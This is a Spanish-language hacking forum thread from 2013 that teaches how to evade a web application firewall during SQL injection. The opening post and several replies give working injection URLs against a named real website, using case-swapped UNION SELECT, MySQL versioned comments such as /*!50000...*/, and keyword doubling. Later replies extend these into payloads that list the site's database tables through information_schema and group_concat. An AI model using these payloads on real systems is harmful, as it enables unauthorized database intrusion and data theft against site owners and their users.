Métodos para bypassear un WAF en Inyección SQLi

  • 6 Respuestas
  • 4842 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado M5f3r0

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
  • Skype: m5f3r0
    • Ver Perfil

Métodos para bypassear un WAF en Inyección SQLi

  • en: Julio 30, 2013, 02:02:46 pm
Hola comunidad de underc0de, en está ocasión les vengo a enseñar algunas formas para bypassear un WAF (Web application firewall) en sus momentos de hacer una Inyección SQL.

Primero que nada, ¿Qué es un WAF?

Información sobre ello: http://www.nowebsinwaf.com/iquestqueacute-es-un-waf.html

Bueno, supongamos que tenemos una página vulnerable a SQL Injection y nos toca búscar las columnas vulnerables usando UNION SELECT, y cuando ejecutamos la inyección en la página de repente nos dispara un WAF. Un ejemplo de como se vería ciertas veces un waf:



Usare esa página como ejemplo, http://www.alwaysperu.com/tours-view-more.php?id=1

Vale, entonces como lo bypassearia? usando ciertas formas de burlar al servidor, por ejemplo en el UNION SELECT le puedo cambiar el caso y colocarlo como uNiOn SeLeCt , quedando todo de la siguiente forma:

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 uNion sELeCt 1,2,3,4,5,6,7,8,9,10 #

Vale, está un poco fuerte. No lo logro bypassear, entonces usamos otro tip. Como por ejemplo, los comentarios /*! */ . Ej:

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 #

Aún no lo logra bypassear, añado un 50000 a un costado del union haber que tal..

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!50000uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 #

Nos devuelve el siguiente resultado:




Excelente!! Nos ha logrado bypassear el Web Application Firewall :D. Ahora podemos seguir jugueteando con el servidor búscando sus registros, tablas, etc.. Eso ya es cosa de ustedes.

Otro tip que nos puede ser útil es:

UNIunionON SELselectECT

En esto, uso UNI porque ciertas veces el servidor elimina las palabras entonces lo uso de esa manera ;D.

Bueno eso ha sido todo :D.

Me despido, saludos.
« Última modificación: Noviembre 23, 2014, 02:20:09 pm por Expermicid »
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
Muy bueno...solo queria aclarar que desp del /*! puede ser precedido cualquier numero de 5 cifras desde el 00000 al 49999 para evadir el waf.

http://www.alwaysperu.com/tours-view-more.php?id=1%20and%200%20/*!00000uNion%20sELeCt*/%201,2,3,4,5,6,7,8,9,10%20#

Desconectado arthusu

  • *
  • Ex-Staff
  • *****
  • Mensajes: 555
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
  • Skype: arthusuxD
    • Ver Perfil
    • Arthusu BLOG
Muy bueno...solo queria aclarar que desp del /*! puede ser precedido cualquier numero de 5 cifras desde el 00000 al 49999 para evadir el waf.

http://www.alwaysperu.com/tours-view-more.php?id=1%20and%200%20/*!00000uNion%20sELeCt*/%201,2,3,4,5,6,7,8,9,10%20#

Y que esas 5 cifras significan la version pero como en el caso de q3rv0 si pones 00000 signfica un 0 en si es decir que si pones 01234 02345 siempre seria 0 es decir la version seria tomada como 0 :P y si pones por ejemplo: 50000 seria tomada como version 5 :) salu2 ;) :D
« Última modificación: Julio 30, 2013, 04:21:16 pm por arthusu »
Pentest - Hacking & Security Services

Contact me: [email protected]

Desconectado Mr. Foster

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Tengo una consulta, y si despues de haber bypasseado para que me diera el numero de las tablas, como sigo si añadiendo el famoso "+from+information_schema.tables--" si me lo bloquea y me vuelve a tirar la pagina de error  :o

Desconectado 2Fac3R

  • *
  • Underc0der
  • Mensajes: 252
  • Actividad:
    6.67%
  • Reputación 0
  • Why be a king, when you can be a god
  • Skype: rockeg_18
  • Twitter: @2Fac3R
    • Ver Perfil
    • Escuela de Hackers & Programación
Tengo una consulta, y si despues de haber bypasseado para que me diera el numero de las tablas, como sigo si añadiendo el famoso "+from+information_schema.tables--" si me lo bloquea y me vuelve a tirar la pagina de error  :o

La verdad es que me siento algo oxidado en el tema, pero testeando un poco (no tengo ningún WAF para probar realmente) creo que sería algo así:

Código: [Seleccionar]
-1 '/*!00000union%20select*/1,table_name,3,4 /*!00000from*/%20information_schema.tables -- '
Zalu2
Escuela de Hackers & Programación.
http://ihackndev.blogspot.com/

Desconectado M5f3r0

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
  • Skype: m5f3r0
    • Ver Perfil

Re:Métodos para bypassear un WAF en Inyección SQLi

  • en: Agosto 01, 2013, 12:17:51 am
Tengo una consulta, y si despues de haber bypasseado para que me diera el numero de las tablas, como sigo si añadiendo el famoso "+from+information_schema.tables--" si me lo bloquea y me vuelve a tirar la pagina de error  :o

También puedes usar los mismos tips que coloque en el tutorial, por ejemplo en tu caso si deseas búscar las tablas puedes usar la siguiente inyección (en este caso con la web que use en el tuto):

http://www.alwaysperu.com/tours-view-more.php?id=1 /*!50000and 0*/ /*!50000UNION*/ /*!50000SELECT 1,table_name,3,4,5,6,7,8,9,10*/ from InfoRmaTiOn_SchEmA.TaBlEs limit 0,1 #

En ese caso use limit, pero si quieres extraer todas tablas de la currente base de datos, puedes usar la siguiente:

http://www.alwaysperu.com/tours-view-more.php?id=1 /*!50000and 0*/ /*!50000UNION*/ /*!50000SELECT 1,gRoUp_CoNcAt(table_name),3,4,5,6,7,8,9,10/*!50000from*/information_schema.TaBleS/*!wHeRe*/tAbLe_ScHeMa=0x616c7761797370655f616c7761797370657275 #c

salu2 bro!! ;).
« Última modificación: Agosto 01, 2013, 12:56:24 am por M5f3r0 »
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Desconectado Mr. Foster

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Métodos para bypassear un WAF en Inyección SQLi

  • en: Agosto 05, 2013, 01:24:32 pm
Muchas gracias a todos, intentare con lo que me han proporcionado, si no funciona sigo el hilo y les comento. Gracias a todos

 

Exploit para Apache Struts (ejecución remota de comandos) [Tomcat]|CVE2017-5638

Iniciado por Eschiclers

Respuestas: 9
Vistas: 8399
Último mensaje Marzo 23, 2017, 03:57:38 pm
por zoro248
Gcat - Python Backdoor Usando Gmail para Mando y Control

Iniciado por R3v0lve

Respuestas: 2
Vistas: 6569
Último mensaje Noviembre 18, 2015, 08:52:40 pm
por Stuxnet
Nuevo Exploit 0day para Internet Explorer 7, 8, 9 en Windows XP, Vista y 7

Iniciado por CalebBucker

Respuestas: 1
Vistas: 4117
Último mensaje Septiembre 17, 2012, 04:49:25 pm
por Slore
SAPYTO – Framework para realizar Penetration Tests sobre sistemas SAP

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 3095
Último mensaje Mayo 20, 2013, 08:49:26 pm
por StuXn3t
Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 3929
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr